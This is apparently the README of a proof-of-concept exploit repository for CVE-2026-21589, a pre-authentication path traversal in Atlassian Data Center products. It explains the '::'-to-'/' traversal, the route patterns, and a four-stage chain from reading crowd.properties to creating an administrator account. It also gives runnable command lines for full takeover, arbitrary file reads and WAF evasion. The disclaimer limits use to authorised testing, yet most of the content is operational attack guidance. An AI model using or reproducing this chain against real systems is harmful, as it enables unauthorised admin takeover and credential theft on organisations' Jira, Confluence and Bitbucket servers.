
Proof-of-concept for CVE-2026-21589: unauthenticated path traversal file read in Atlassian Data Center products, chained via Crowd credentials into admin account takeover.
A proof-of-concept that chains CVE-2026-21589, an unauthenticated arbitrary file read affecting multiple Atlassian Data Center products, into a full administrative account takeover via Atlassian Crowd.
Note on scope: unlike detection-only tools, this PoC implements the full admin-takeover (ATO) chain — file read → Crowd credential extraction → user creation → administrator-group promotion — not just file leakage.
⚠️ Authorized testing only. Use this tool solely against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal in most jurisdictions.
The full admin-takeover (ATO) chain is implemented in this repository by [your name / handle] — replace this placeholder with your name or handle.
| Property | Value |
|---|---|
| CVE | CVE-2026-21589 |
| Type | Arbitrary File Read (pre-authentication) |
| Impact | File disclosure → admin takeover (when Crowd SSO is in use) |
| Affected | Jira, Confluence, Bitbucket, Bamboo, Crowd, Crucible, Fisheye (Data Center) |
| Auth required | None for the file read |
The vulnerability is rooted in atlassian-plugins-webresource, a shared
library across most Atlassian products. This PoC demonstrates the full
chain, not just file leakage.
atlassian-plugins-webresource (Router.java) serves static web resources
over routes such as:
/download/resources/:completeKey/*resourceName # Jira
/s/1/_/download/resources/<plugin>/images/*resourceName # Confluence
/s/1.0/_/download/resources/<plugin>/avatar/*resourceName # Bitbucket
The user-controlled *resourceName path segment is passed through an
unescapeSlashes() function that replaces :: with /. This turns a
..::..::..:: sequence into ../../../, producing a path traversal that can
read any file inside the Tomcat webapp context — including everything
under WEB-INF/ — without authentication.
public static String unescapeSlashes(String string) {
return string.replaceAll("::", "/");
}
┌─ 1 ────────────────────────────────────────────────────────────┐
│ Pre-auth file read of WEB-INF/classes/crowd.properties │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─ 2 ────────────────────────────────────────────────────────────┐
│ Extract application.name + application.password (plaintext) │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─ 3 ────────────────────────────────────────────────────────────┐
│ Authenticate to Crowd REST API with those credentials │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─ 4 ────────────────────────────────────────────────────────────┐
│ Create a new user → add them to the product's admin group │
└─────────────────────────────────────────────────────────────────┘
WEB-INF/classes/crowd.properties, which is present when the product uses
Atlassian Crowd for SSO and stores application.name and
application.password in plaintext.jira-administrators), yielding full admin.The script runs in three explicit stages, so it reports file-read exposure independently from Crowd exposure and only attempts the takeover when Crowd is actually present:
STAGE 1 — confirm path traversal. Probe the product's web.xml
(or urlrewrite.xml for Bitbucket) to verify the arbitrary file read works.
If this fails, the target is not vulnerable and the tool exits.
STAGE 2 — check whether Crowd is installed. Read
WEB-INF/classes/crowd.properties. If it contains application.name /
application.password, Crowd is installed and the tool proceeds. If not, it
reports file-read-only (no ATO possible) and exits cleanly.
STAGE 3 — ATO chain. Only reached when Crowd is installed: authenticate to Crowd, create a user, and add them to the product's admin group.
[+] STAGE 1 OK - pre-auth arbitrary file read confirmed (JIRA)
[+] STAGE 2 OK - Crowd IS installed (application 'jira')
[+] STAGE 3 - ... creating user, promoting to admin ...
If Crowd is not installed, the run ends at STAGE 2:
[*] STAGE 2 - Crowd NOT installed (no crowd.properties with credentials found)
=> Target is vulnerable to arbitrary FILE READ only (no ATO).
git clone <this repo>
cd CVE-2026-21589
python cve-2026-21589-admin-takeover.py -H <target-base-url> [options]
# Detect the product and read the default credential file, stop there
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 --read-only
# Full chain: read -> Crowd -> create user -> promote to admin
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080
# Force a specific product
python cve-2026-21589-admin-takeover.py -H http://confluence.example.com:8080 -p confluence
# Read an arbitrary file (use "::" as the path separator)
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 \
--read-file WEB-INF::web.xml --read-only
# Override the Crowd endpoint when it is not derivable/reachable
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 \
--crowd-base http://10.0.0.5:8095/crowd/rest/usermanagement/1
# Custom credentials for the user to be created
python cve-2026-21589-admin-takeover.py -H http://jira.example.com:8080 \
--username alice --password 'S3cret!' --email [email protected]
| Option | Description |
|---|---|
-H, --host | Required. Target base URL, e.g. http://jira.example.com:8080 |
-p, --product | jira, confluence, or bitbucket (auto-detected if omitted) |
--read-file | File to read instead of crowd.properties, ::-separated |
--depth | Override the number of ..:: traversal hops |
--encode | URL-encode :: as %3a%3a to dodge proxy/WAF normalization |
--crowd-base | Override the Crowd REST base URL |
--app-name | Override application.name |
--app-password | Override application.password |
--username | Username to create (default tmpadmin) |
--password | Password for the new user (default ChangeMe123!) |
--email | Email for the new user |
--group | Admin group to add the user to (defaults to a per-product list) |
--force | Proceed even if the derived Crowd URL is loopback/private |
--read-only | Stop after the file read (no Crowd actions) |
These are real-world deployment constraints that commonly break or limit the full chain. The tool surfaces them rather than silently ignoring them.
crowd.properties frequently records
crowd.base.url as http://localhost:8095/crowd/ — i.e. the application's
view of Crowd, not a URL reachable from the attacker. Crowd also commonly
enforces an IP allow-list. The chain only works when Crowd is externally
routable, or when you can pivot via SSRF or a compromised host.